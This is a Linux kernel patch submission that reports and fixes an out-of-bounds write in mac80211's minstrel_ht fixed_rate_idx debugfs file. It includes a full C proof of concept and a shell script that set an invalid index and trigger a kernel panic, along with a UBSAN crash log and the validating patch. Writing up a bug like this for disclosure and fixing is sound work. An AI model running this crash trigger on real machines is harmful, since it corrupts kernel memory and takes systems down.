wifi: mac80211: minstrel_ht: validate fixed rate index
Subsystems (2)
cover wifi: mac80211: minstrel_ht: validate fixed rate index
Hi Linux kernel maintainers,
We found and validated an issue in net/mac80211/rc80211_minstrel_ht.c. The reproducer below runs as root in the guest: the fixed_rate_idx file lives under a root-only debugfs mount, and the nl80211 IBSS commands used to drive rate control require CAP_NET_ADMIN. It is therefore not a privilege boundary; we still report it because the writable debugfs attribute lets an out-of-bounds access corrupt kernel memory.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
minstrel_ht_add_debugfs() exposes fixed_rate_idx as a plain u32 attribute, so any value can be written to it. minstrel_ht_update_stats() copies that value into mi->max_tp_rate[] and mi->max_prob_rate, which are u16 rate indexes; on the next rate table update minstrel_ht_set_rate() decodes it with MI_RATE_GROUP()/MI_RATE_IDX() and indexes minstrel_mcs_groups[] (42 entries) and mi->groups[].rates[] (10 entries).
Writing 65535, for example, decodes to group 4095 and rate index 15. minstrel_mcs_groups[4095] is read out of bounds, and mi->groups[4095].rates[15] is then dereferenced and updated as a struct minstrel_rate_stats (retry counts etc.), corrupting adjacent kernel memory. With CONFIG_UBSAN_BOUNDS the access is reported as "array-index-out-of-bounds in minstrel_ht_set_rate()".
The patch replaces the u32 attribute with a debugfs attribute that only accepts a rate index whose group is within minstrel_mcs_groups[] and whose rate is within MCS_GROUP_RATES, plus U32_MAX, which remains the value that disables fixed rate processing.
Reproducer:
cd /root
gcc -O2 -o poc poc.c
echo 65535 > /sys/kernel/debug/ieee80211/phy0/rc/fixed_rate_idx ./poc wlan0 wlan1
The PoC drives mac80211_hwsim through raw nl80211: it switches wlan0 and wlan1 to IBSS and joins both to the same cell, which reaches rate_control_rate_init() -> minstrel_ht_update_rates() -> minstrel_ht_set_rate() with the tainted fixed index.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with CONFIG_MAC80211_HWSIM, CONFIG_UBSAN_BOUNDS and panic_on_warn=1.
packetdrill cannot drive the nl80211 IBSS setup required to reach minstrel_ht, so the PoC uses raw netlink. The crash log is raw dmesg output; the stack trace is already symbolized.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, len) \ ((len) -= NLA_ALIGN((nla)->nla_len), \ (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len))) #endif #ifndef NLA_OK #define NLA_OK(nla, len) \ ((len) >= (int)sizeof(struct nlattr) && \ (nla)->nla_len >= sizeof(struct nlattr) && \ (nla)->nla_len <= (len))
#endif
struct nl_ctx {
int fd;
uint32_t seq;
uint32_t portid;
};struct set_iftype_arg {
uint32_t ifindex;
uint32_t iftype;
};struct join_ibss_arg {
uint32_t ifindex;
const char *ssid;
uint32_t freq;
uint8_t bssid[6];
};static int nla_put(char *buf, size_t bufsize, int *msg_len,
uint16_t attrtype, const void *data, uint16_t datalen)
{
int offset = NLMSG_ALIGN(*msg_len);
int attr_len = NLA_HDRLEN + datalen;
int new_len = offset + NLA_ALIGN(attr_len);
struct nlattr *nla;
if ((size_t)new_len > bufsize)
return -EMSGSIZE;
nla = (struct nlattr *)(buf + offset);
nla->nla_type = attrtype;
nla->nla_len = attr_len;
if (datalen)
memcpy((char *)nla + NLA_HDRLEN, data, datalen);
memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
*msg_len = new_len;
return 0;
}static int nla_put_flag(char *buf, size_t bufsize, int *msg_len, uint16_t attrtype)
{
return nla_put(buf, bufsize, msg_len, attrtype, NULL, 0);
}static int nl_open(struct nl_ctx *ctx)
{
struct sockaddr_nl addr;
socklen_t alen;
memset(ctx, 0, sizeof(*ctx));
ctx->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (ctx->fd < 0)
return -errno;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
if (bind(ctx->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
int err = -errno;
close(ctx->fd);
return err;
}
alen = sizeof(addr);
if (getsockname(ctx->fd, (struct sockaddr *)&addr, &alen) == 0)
ctx->portid = addr.nl_pid;
return 0;
}static int nl_send_recv(struct nl_ctx *ctx, const void *req, size_t req_len,
int (*cb)(struct nlmsghdr *, void *), void *cb_arg)
{
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = (void *)req, .iov_len = req_len };
struct msghdr msg = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
char buf[8192];
int done = 0;
if (sendmsg(ctx->fd, &msg, 0) < 0)
return -errno;
while (!done) {
ssize_t len = recv(ctx->fd, buf, sizeof(buf), 0);
struct nlmsghdr *nlh;
if (len < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (nlh = (struct nlmsghdr *)buf;
NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_seq != ctx->seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*e)))
return -EINVAL;
if (e->error)
return e->error;
return 0;
}
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
if (cb) {
int r = cb(nlh, cb_arg);
if (r)
return r;
}
if (!(nlh->nlmsg_flags & NLM_F_MULTI))
done = 1;
}
}
return 0;
}static int parse_family_id_cb(struct nlmsghdr *nlh, void *arg)
{
struct genlmsghdr *ghdr;
struct nlattr *nla;
int len;
uint16_t *family_id = arg;
ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
len = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*ghdr));
nla = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
while (NLA_OK(nla, len)) {
if (nla->nla_type == CTRL_ATTR_FAMILY_ID &&
nla->nla_len >= NLA_HDRLEN + sizeof(uint16_t)) {
memcpy(family_id, NLA_DATA(nla), sizeof(uint16_t));
return 1;
}
nla = NLA_NEXT(nla, len);
}
return 0;
}static int get_family_id(struct nl_ctx *ctx, const char *name)
{
char buf[512];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *ghdr;
uint16_t family_id = 0;
int msg_len;
int err;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++ctx->seq;
nlh->nlmsg_pid = ctx->portid;
ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
ghdr->cmd = CTRL_CMD_GETFAMILY;
ghdr->version = 1;
msg_len = nlh->nlmsg_len;
err = nla_put(buf, sizeof(buf), &msg_len, CTRL_ATTR_FAMILY_NAME,
name, (uint16_t)(strlen(name) + 1));
if (err)
return err;
nlh->nlmsg_len = msg_len;
err = nl_send_recv(ctx, buf, nlh->nlmsg_len, parse_family_id_cb, &family_id);
if (err < 0)
return err;
if (!family_id)
return -ENOENT;
return family_id;
}static int nl80211_cmd(struct nl_ctx *ctx, uint16_t family_id, uint8_t cmd,
int (*builder)(char *, size_t, int *, void *), void *arg)
{
char buf[1024];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *ghdr;
int msg_len;
int err;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++ctx->seq;
nlh->nlmsg_pid = ctx->portid;
ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
ghdr->cmd = cmd;
ghdr->version = 0;
msg_len = nlh->nlmsg_len;
if (builder) {
err = builder(buf, sizeof(buf), &msg_len, arg);
if (err)
return err;
}
nlh->nlmsg_len = msg_len;
return nl_send_recv(ctx, buf, nlh->nlmsg_len, NULL, NULL);
}static int build_set_iftype(char *buf, size_t buflen, int *msg_len, void *arg)
{
struct set_iftype_arg *a = arg;
int err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_IFINDEX,
&a->ifindex, sizeof(a->ifindex));
if (err)
return err;
return nla_put(buf, buflen, msg_len, NL80211_ATTR_IFTYPE,
&a->iftype, sizeof(a->iftype));
}static int build_join_ibss(char *buf, size_t buflen, int *msg_len, void *arg)
{
struct join_ibss_arg *a = arg;
uint32_t beacon_interval = 100;
int err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_IFINDEX,
&a->ifindex, sizeof(a->ifindex));
if (err)
return err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_SSID,
a->ssid, (uint16_t)strlen(a->ssid));
if (err)
return err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_MAC,
a->bssid, sizeof(a->bssid));
if (err)
return err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_WIPHY_FREQ,
&a->freq, sizeof(a->freq));
if (err)
return err;
err = nla_put(buf, buflen, msg_len, NL80211_ATTR_BEACON_INTERVAL,
&beacon_interval, sizeof(beacon_interval));
if (err)
return err;
return nla_put_flag(buf, buflen, msg_len, NL80211_ATTR_FREQ_FIXED);
}static int set_iftype_adhoc(struct nl_ctx *ctx, uint16_t family_id, const char *ifname)
{
struct set_iftype_arg arg;
int ifindex = if_nametoindex(ifname);
if (!ifindex)
return -errno;
arg.ifindex = (uint32_t)ifindex;
arg.iftype = NL80211_IFTYPE_ADHOC;
return nl80211_cmd(ctx, family_id, NL80211_CMD_SET_INTERFACE,
build_set_iftype, &arg);
}static int join_ibss(struct nl_ctx *ctx, uint16_t family_id, const char *ifname,
const char *ssid, uint32_t freq)
{
struct join_ibss_arg arg;
int ifindex = if_nametoindex(ifname);
if (!ifindex)
return -errno;
arg.ifindex = (uint32_t)ifindex;
arg.ssid = ssid;
arg.freq = freq;
arg.bssid[0] = 0x02;
arg.bssid[1] = 0xaa;
arg.bssid[2] = 0xbb;
arg.bssid[3] = 0xcc;
arg.bssid[4] = 0xdd;
arg.bssid[5] = 0xee;
return nl80211_cmd(ctx, family_id, NL80211_CMD_JOIN_IBSS,
build_join_ibss, &arg);
}int main(int argc, char **argv)
{
struct nl_ctx ctx;
const char *if0 = "wlan0";
const char *if1 = "wlan1";
const char *ssid = "n4k-poc";
uint32_t freq = 2412;
char cmd[128];
int family_id;
int err;
if (argc > 1)
if0 = argv[1];
if (argc > 2)
if1 = argv[2];
err = nl_open(&ctx);
if (err) {
fprintf(stderr, "nl_open: %s\n", strerror(-err));
return 1;
}
family_id = get_family_id(&ctx, "nl80211");
if (family_id < 0) {
fprintf(stderr, "get_family_id: %s\n", strerror(-family_id));
close(ctx.fd);
return 1;
}
err = set_iftype_adhoc(&ctx, (uint16_t)family_id, if0);
if (err) {
fprintf(stderr, "set_iftype(%s): %s (%d)\n", if0, strerror(-err), err);
close(ctx.fd);
return 1;
}
err = set_iftype_adhoc(&ctx, (uint16_t)family_id, if1);
if (err) {
fprintf(stderr, "set_iftype(%s): %s (%d)\n", if1, strerror(-err), err);
close(ctx.fd);
return 1;
}
snprintf(cmd, sizeof(cmd), "ip link set %s up", if0);
if (system(cmd) != 0) {
fprintf(stderr, "failed to set %s up\n", if0);
close(ctx.fd);
return 1;
}
snprintf(cmd, sizeof(cmd), "ip link set %s up", if1);
if (system(cmd) != 0) {
fprintf(stderr, "failed to set %s up\n", if1);
close(ctx.fd);
return 1;
}
err = join_ibss(&ctx, (uint16_t)family_id, if0, ssid, freq);
if (err) {
fprintf(stderr, "join_ibss(%s): %s (%d)\n", if0, strerror(-err), err);
close(ctx.fd);
return 1;
}
err = join_ibss(&ctx, (uint16_t)family_id, if1, ssid, freq);
if (err) {
fprintf(stderr, "join_ibss(%s): %s (%d)\n", if1, strerror(-err), err);
close(ctx.fd);
return 1;
}
printf("IBSS join commands submitted. If fixed_rate_idx is invalid, kernel should crash shortly.\n");
close(ctx.fd);
return 0;
}------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) cd "$SCRIPT_DIR"
if [ "$(id -u)" -ne 0 ]; then
echo "Run as root (needs debugfs + nl80211 admin operations)." >&2 exit 1
fi
gcc -O2 -Wall -Wextra -o poc poc.c
ip link set wlan0 down || true ip link set wlan1 down || true
echo 65535 > /sys/kernel/debug/ieee80211/phy0/rc/fixed_rate_idx
./poc wlan0 wlan1
sleep 5
------END poc.sh--------
-----BEGIN crash log-----
[ 1.048940] ------------[ cut here ]------------ [ 1.048944] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-mrl-921/net/mac80211/rc80211_minstrel_ht.c:1446:54 [ 1.048946] index 4095 is out of range for type 'mcs_group [42]' [ 1.048952] CPU: 1 UID: 0 PID: 46 Comm: kworker/u8:2 Not tainted 7.3.0-rc2-00458-gfefaac1176bf #1 PREEMPT(lazy) [ 1.048956] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-10.fc44 06/10/2025 [ 1.048960] Workqueue: events_unbound cfg80211_wiphy_work [ 1.048996] Call Trace: [ 1.049015] <TASK> [ 1.049019] dump_stack_lvl+0x4d/0x70 [ 1.049046] ubsan_epilogue+0x5/0x2b [ 1.049060] __ubsan_handle_out_of_bounds.cold+0x4e/0x58 [ 1.049063] minstrel_ht_set_rate+0x57a/0x7d0 [ 1.049081] ? minstrel_ht_update_caps.isra.0+0x5ec/0x970 [ 1.049084] ? minstrel_ht_update_rates+0x3a/0x340 [ 1.049086] minstrel_ht_update_rates+0x76/0x340 [ 1.049088] rate_control_rate_init+0xc5/0x160 [ 1.049104] ieee80211_ibss_finish_sta+0xbb/0x160 [ 1.049110] ieee80211_ibss_work+0xda/0x480 [ 1.049112] ? update_load_avg+0x5c/0x330 [ 1.049122] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1.049126] ? update_cfs_rq_load_avg+0x1a/0x240 [ 1.049131] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1.049133] ? skb_dequeue+0x58/0x80 [ 1.049147] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1.049148] ? ieee80211_iface_work+0x22c/0x540 [ 1.049151] cfg80211_wiphy_work+0xb5/0x170 [ 1.049159] process_one_work+0x19d/0x390 [ 1.049174] worker_thread+0x169/0x2d0 [ 1.049176] ? __pfx_worker_thread+0x10/0x10 [ 1.049178] kthread+0xe1/0x120 [ 1.049186] ? __pfx_kthread+0x10/0x10 [ 1.049188] ret_from_fork+0x196/0x260 [ 1.049200] ? __pfx_kthread+0x10/0x10 [ 1.049202] ? __pfx_kthread+0x10/0x10 [ 1.049203] ret_from_fork_asm+0x1a/0x30 [ 1.049209] </TASK> [ 1.049210] ---[ end trace ]--- [ 1.049211] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
wifi: mac80211: minstrel_ht: validate fixed rate index
net/mac80211/rc80211_minstrel_ht.c | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-)
base-commit: fefaac1176bf3cf002a8dc83339d6ed6a369941a
Signature · 1 line
2.55.0
PATCH 1/1 wifi: mac80211: minstrel_ht: validate fixed rate index
The fixed_rate_idx debugfs file is a plain u32 attribute, so any value can be written to it. minstrel_ht_update_stats() then copies the value into mi->max_tp_rate[] and mi->max_prob_rate, and minstrel_ht_set_rate() uses MI_RATE_GROUP()/MI_RATE_IDX() to index minstrel_mcs_groups[] (42 entries) and mi->groups[].rates[] (10 entries) with it.
Writing e.g. 65535 selects group 4095 and rate index 15, far outside both arrays. The out-of-bounds entries are dereferenced and updated as struct minstrel_rate_stats (retry counts, etc.), so the invalid index corrupts adjacent kernel memory. With CONFIG_UBSAN_BOUNDS the access is reported as an array-index-out-of-bounds in minstrel_ht_set_rate().
Only a valid group/rate pair, or U32_MAX to disable fixed rate processing, can be used safely, so reject any other value when the debugfs file is written.
The file is only reachable through a root-only debugfs mount, so this is not a privilege boundary. The out-of-bounds access is still a bug that must not be reachable through a writable debugfs attribute.
--- net/mac80211/rc80211_minstrel_ht.c | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-)
net/mac80211/rc80211_minstrel_ht.c +28 -2
@@ -7,6 +7,7 @@#include <linux/types.h> #include <linux/skbuff.h> #include <linux/debugfs.h> +#include <linux/limits.h> #include <linux/random.h> #include <linux/moduleparam.h> #include <linux/ieee80211.h>
@@ -1947,14 +1948,39 @@ minstrel_ht_alloc(struct ieee80211_hw *hw) }#ifdef CONFIG_MAC80211_DEBUGFS +static int minstrel_ht_fixed_rate_idx_get (void *data,u64 *val) +{ + *val = *(u32 *)data; +return 0 ; +} + +static int minstrel_ht_fixed_rate_idx_set (void *data,u64 val) +{ +u32 idx = val; + +/* U32_MAX is the default and keeps fixed rate processing disabled */ +if (val !=U32_MAX && + (val >U16_MAX || +MI_RATE_GROUP (idx) >=ARRAY_SIZE (minstrel_mcs_groups) || +MI_RATE_IDX (idx) >=MCS_GROUP_RATES )) +return -EINVAL ; + + *(u32 *)data = idx; +return 0 ; +} + +DEFINE_DEBUGFS_ATTRIBUTE (minstrel_ht_fixed_rate_idx_fops, + minstrel_ht_fixed_rate_idx_get, + minstrel_ht_fixed_rate_idx_set,"%llu\n" ); +static void minstrel_ht_add_debugfs (struct ieee80211_hw *hw,void *priv,struct dentry *debugfsdir) {struct minstrel_priv *mp = priv; mp->fixed_rate_idx = (u32) -1 ; -debugfs_create_u32 ("fixed_rate_idx" ,S_IRUGO |S_IWUGO , debugfsdir, - &mp->fixed_rate_idx); +debugfs_create_file ("fixed_rate_idx" ,S_IRUGO |S_IWUGO , debugfsdir, + &mp->fixed_rate_idx, &minstrel_ht_fixed_rate_idx_fops); }#endif
Signature · 1 line
2.55.0